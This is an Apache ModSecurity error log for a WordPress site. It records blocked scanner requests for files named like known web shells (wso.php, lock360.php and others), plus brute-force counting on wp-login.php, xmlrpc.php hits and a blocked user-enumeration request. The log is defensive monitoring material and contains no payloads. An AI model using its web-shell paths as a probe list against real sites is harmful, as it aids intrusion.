[Thu Dec 11 06:06:44.812053 2025] [:error] [pid 57990:tid 58017] [client 40.85.143.207:15049] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/habhan.php"] [unique_id "aTnu9AqZT_dc36fQdXG94wAAABY"]
[Thu Dec 11 06:06:45.317659 2025] [:error] [pid 58099:tid 58106] [client 40.85.143.207:7897] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/habhan.php"] [unique_id "aTnu9cKZVSF_bdPFqRg92gAAAMU"]
[Thu Dec 11 06:06:45.853041 2025] [:error] [pid 27459:tid 27485] [client 40.85.143.207:10970] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aTnu9VhPEXihPBKMpRN35QAAARg"]
[Thu Dec 11 06:06:46.355360 2025] [:error] [pid 58099:tid 58114] [client 40.85.143.207:3331] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aTnu9sKZVSF_bdPFqRg93AAAAM0"]
[Thu Dec 11 06:06:46.862132 2025] [:error] [pid 27459:tid 27470] [client 40.85.143.207:7917] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTnu9lhPEXihPBKMpRN35gAAAQk"]
[Thu Dec 11 06:06:47.362858 2025] [:error] [pid 57990:tid 57995] [client 40.85.143.207:6379] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTnu9wqZT_dc36fQdXG95QAAAAA"]
[Thu Dec 11 06:06:47.872279 2025] [:error] [pid 57990:tid 58013] [client 40.85.143.207:7784] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTnu9wqZT_dc36fQdXG96AAAABI"]
[Thu Dec 11 06:06:48.373752 2025] [:error] [pid 27459:tid 27481] [client 40.85.143.207:3829] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTnu-FhPEXihPBKMpRN36AAAARQ"]
[Thu Dec 11 06:06:48.879988 2025] [:error] [pid 27459:tid 27484] [client 40.85.143.207:15053] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blox.php"] [unique_id "aTnu-FhPEXihPBKMpRN36QAAARc"]
[Thu Dec 11 06:06:49.400405 2025] [:error] [pid 57991:tid 58040] [client 40.85.143.207:13610] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blox.php"] [unique_id "aTnu-aPyGmNXA2ZsETbrowAAAFI"]
[Thu Dec 11 06:06:49.972190 2025] [:error] [pid 35112:tid 35124] [client 40.85.143.207:7875] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blox.php"] [unique_id "aTnu-Z9ZpQ0WIeJhsJd3wQAAAUo"]
[Thu Dec 11 06:06:50.471658 2025] [:error] [pid 58099:tid 58110] [client 40.85.143.207:6584] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blox.php"] [unique_id "aTnu-sKZVSF_bdPFqRg94gAAAMk"]
[Thu Dec 11 06:06:51.014657 2025] [:error] [pid 58099:tid 58111] [client 40.85.143.207:3788] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/scx.php7"] [unique_id "aTnu-8KZVSF_bdPFqRg95AAAAMo"]
[Thu Dec 11 06:06:51.514284 2025] [:error] [pid 57992:tid 58050] [client 40.85.143.207:3828] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/scx.php7"] [unique_id "aTnu--Ueau0BMFF2vHnqkQAAAIE"]
[Thu Dec 11 06:06:52.039093 2025] [:error] [pid 35112:tid 35128] [client 40.85.143.207:2152] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mtvcrew.php"] [unique_id "aTnu_J9ZpQ0WIeJhsJd3wwAAAU4"]
[Thu Dec 11 06:06:52.542709 2025] [:error] [pid 57992:tid 58051] [client 40.85.143.207:2469] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aTnu_OUeau0BMFF2vHnqkgAAAII"]
[Thu Dec 11 06:06:53.042400 2025] [:error] [pid 35112:tid 35120] [client 40.85.143.207:13588] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTnu_Z9ZpQ0WIeJhsJd3xAAAAUY"]
[Thu Dec 11 06:06:53.542025 2025] [:error] [pid 57990:tid 57995] [client 40.85.143.207:15051] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTnu_QqZT_dc36fQdXG99AAAAAA"]
[Thu Dec 11 06:06:54.045070 2025] [:error] [pid 57990:tid 58004] [client 40.85.143.207:4121] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTnu_gqZT_dc36fQdXG99wAAAAk"]
[Thu Dec 11 06:06:54.677176 2025] [:error] [pid 35112:tid 35134] [client 40.85.143.207:2442] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTnu_p9ZpQ0WIeJhsJd3xQAAAVQ"]
[Thu Dec 11 06:06:55.176608 2025] [:error] [pid 48261:tid 48269] [client 40.85.143.207:7336] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTnu_-yPI4WU-4JmiQOGsAAAAYU"]
[Thu Dec 11 06:06:55.678665 2025] [:error] [pid 58099:tid 58116] [client 40.85.143.207:16356] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTnu_8KZVSF_bdPFqRg97AAAAM8"]
[Thu Dec 11 06:06:56.179430 2025] [:error] [pid 48261:tid 48267] [client 40.85.143.207:6487] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTnvAOyPI4WU-4JmiQOGtAAAAYM"]
[Thu Dec 11 06:06:56.699169 2025] [:error] [pid 58099:tid 58123] [client 40.85.143.207:15046] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aTnvAMKZVSF_bdPFqRg97gAAANY"]
[Thu Dec 11 06:06:57.198177 2025] [:error] [pid 48261:tid 48280] [client 40.85.143.207:10974] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aTnvAeyPI4WU-4JmiQOGtwAAAZA"]
[Thu Dec 11 06:06:57.697149 2025] [:error] [pid 48261:tid 48271] [client 40.85.143.207:1314] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aTnvAeyPI4WU-4JmiQOGuAAAAYc"]
[Thu Dec 11 06:06:58.196383 2025] [:error] [pid 48261:tid 48265] [client 40.85.143.207:8711] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aTnvAuyPI4WU-4JmiQOGuwAAAYE"]
[Thu Dec 11 06:06:58.697226 2025] [:error] [pid 48261:tid 48279] [client 40.85.143.207:13621] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aTnvAuyPI4WU-4JmiQOGvQAAAY8"]
[Thu Dec 11 06:06:59.271928 2025] [:error] [pid 27459:tid 27464] [client 40.85.143.207:13767] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aTnvA1hPEXihPBKMpRN38gAAAQM"]
[Thu Dec 11 06:06:59.770931 2025] [:error] [pid 57990:tid 58016] [client 40.85.143.207:3807] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aTnvAwqZT_dc36fQdXG-BgAAABU"]
[Thu Dec 11 06:07:00.272666 2025] [:error] [pid 48261:tid 48276] [client 40.85.143.207:3187] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aTnvBOyPI4WU-4JmiQOGwgAAAYw"]
[Thu Dec 11 06:07:01.011310 2025] [:error] [pid 58099:tid 58102] [client 40.85.143.207:12757] [client 40.85.143.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aTnvBcKZVSF_bdPFqRg97wAAAME"]
[Thu Dec 11 06:48:29.982109 2025] [:error] [pid 27459:tid 27467] [client 112.208.64.0:36510] [client 112.208.64.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.208.64.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTn4vVhPEXihPBKMpROCIQAAAQY"]
[Thu Dec 11 07:24:45.712590 2025] [:error] [pid 57990:tid 58001] [client 112.208.64.0:37154] [client 112.208.64.0] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aToBPQqZT_dc36fQdXHOWQAAAAY"]
[Thu Dec 11 07:26:08.416104 2025] [:error] [pid 58099:tid 58123] [client 112.208.64.0:34411] [client 112.208.64.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.208.64.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aToBkMKZVSF_bdPFqRhQ7gAAANY"]
[Thu Dec 11 07:27:23.951064 2025] [:error] [pid 57992:tid 58069] [client 112.208.64.0:35658] [client 112.208.64.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.208.64.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aToB2-Ueau0BMFF2vHn89wAAAJQ"]
[Thu Dec 11 07:28:26.554008 2025] [:error] [pid 57990:tid 58007] [client 112.208.64.0:36452] [client 112.208.64.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.208.64.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aToCGgqZT_dc36fQdXHO8AAAAAw"]
[Thu Dec 11 07:29:37.603569 2025] [:error] [pid 35112:tid 35126] [client 112.208.64.0:37437] [client 112.208.64.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.208.64.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aToCYZ9ZpQ0WIeJhsJePDAAAAUw"]
[Thu Dec 11 09:11:53.275773 2025] [:error] [pid 35112:tid 35120] [client 104.234.19.112:37733] [client 104.234.19.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aToaWZ9ZpQ0WIeJhsJeqQAAAAUY"]
[Thu Dec 11 09:11:56.287286 2025] [:error] [pid 48261:tid 48274] [client 216.24.219.198:55549] [client 216.24.219.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aToaXOyPI4WU-4JmiQPHIQAAAYo"]
[Thu Dec 11 09:26:04.891034 2025] [:error] [pid 27459:tid 27483] [client 104.234.19.117:39049] [client 104.234.19.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.19.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTodrFhPEXihPBKMpROqoAAAARY"]
[Thu Dec 11 09:54:40.226379 2025] [:error] [pid 57991:tid 58046] [client 216.24.219.192:40843] [client 216.24.219.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTokYKPyGmNXA2ZsETYbOwAAAFg"]
[Thu Dec 11 10:08:21.858621 2025] [:error] [pid 58099:tid 58115] [client 216.24.219.238:39457] [client 216.24.219.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTonlcKZVSF_bdPFqRh3ewAAAM4"]
[Thu Dec 11 10:22:50.280459 2025] [:error] [pid 27459:tid 27469] [client 216.24.219.219:21057] [client 216.24.219.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aToq-lhPEXihPBKMpRO4dwAAAQg"]
[Thu Dec 11 10:53:15.257136 2025] [:error] [pid 35112:tid 35127] [client 216.24.219.219:23935] [client 216.24.219.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aToyG59ZpQ0WIeJhsJfGLwAAAU0"]
[Thu Dec 11 11:23:59.151335 2025] [:error] [pid 27459:tid 27463] [client 216.24.219.214:51957] [client 216.24.219.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTo5T1hPEXihPBKMpRPIigAAAQI"]
[Thu Dec 11 15:16:21.602429 2025] [:error] [pid 57991:tid 58042] [client 91.134.90.219:37196] [client 91.134.90.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.134.90.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTpvxaPyGmNXA2ZsETZlRQAAAFQ"]
[Thu Dec 11 15:16:27.531224 2025] [:error] [pid 57991:tid 58032] [client 91.134.90.219:37196] [client 91.134.90.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.134.90.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTpvy6PyGmNXA2ZsETZlSAAAAEo"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 11 16:21:48.791948 2025] [:error] [pid 57991:tid 58026] [client 167.172.219.235:41806] [client 167.172.219.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.219.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTp_HKPyGmNXA2ZsETZ1DQAAAEQ"]
[Thu Dec 11 21:14:36.290187 2025] [:error] [pid 24483:tid 24509] [client 65.21.53.225:52910] [client 65.21.53.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.21.53.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTrDvFGHKh2d_uVkopRk4AAAAhg"]
[Thu Dec 11 21:14:41.867048 2025] [:error] [pid 24483:tid 24506] [client 65.21.53.225:52910] [client 65.21.53.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.21.53.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTrDwVGHKh2d_uVkopRk4QAAAhU"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 11 21:44:48.898677 2025] [:error] [pid 57990:tid 58010] [client 92.204.239.47:35544] [client 92.204.239.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.204.239.47, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTrK0AqZT_dc36fQdXGOHwAAAA8"]
[Thu Dec 11 21:45:16.172568 2025] [:error] [pid 57992:tid 58054] [client 92.204.239.47:38452] [client 92.204.239.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.204.239.47, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTrK7OUeau0BMFF2vHm6wgAAAIU"]
[Thu Dec 11 22:37:19.338352 2025] [:error] [pid 4462:tid 4491] [client 4.194.191.135:13306] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aTrXH8xEbl7Af0FrMT-LYwAAABY"]
[Thu Dec 11 22:37:19.727519 2025] [:error] [pid 4564:tid 4589] [client 4.194.191.135:13293] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aTrXH5jzC8Q_-qV1DxWYXAAAANY"]
[Thu Dec 11 22:37:20.249010 2025] [:error] [pid 4462:tid 4476] [client 4.194.191.135:13266] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aTrXIMxEbl7Af0FrMT-LZgAAAAc"]
[Thu Dec 11 22:37:20.642340 2025] [:error] [pid 4462:tid 4479] [client 4.194.191.135:13311] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aTrXIMxEbl7Af0FrMT-LaAAAAAo"]
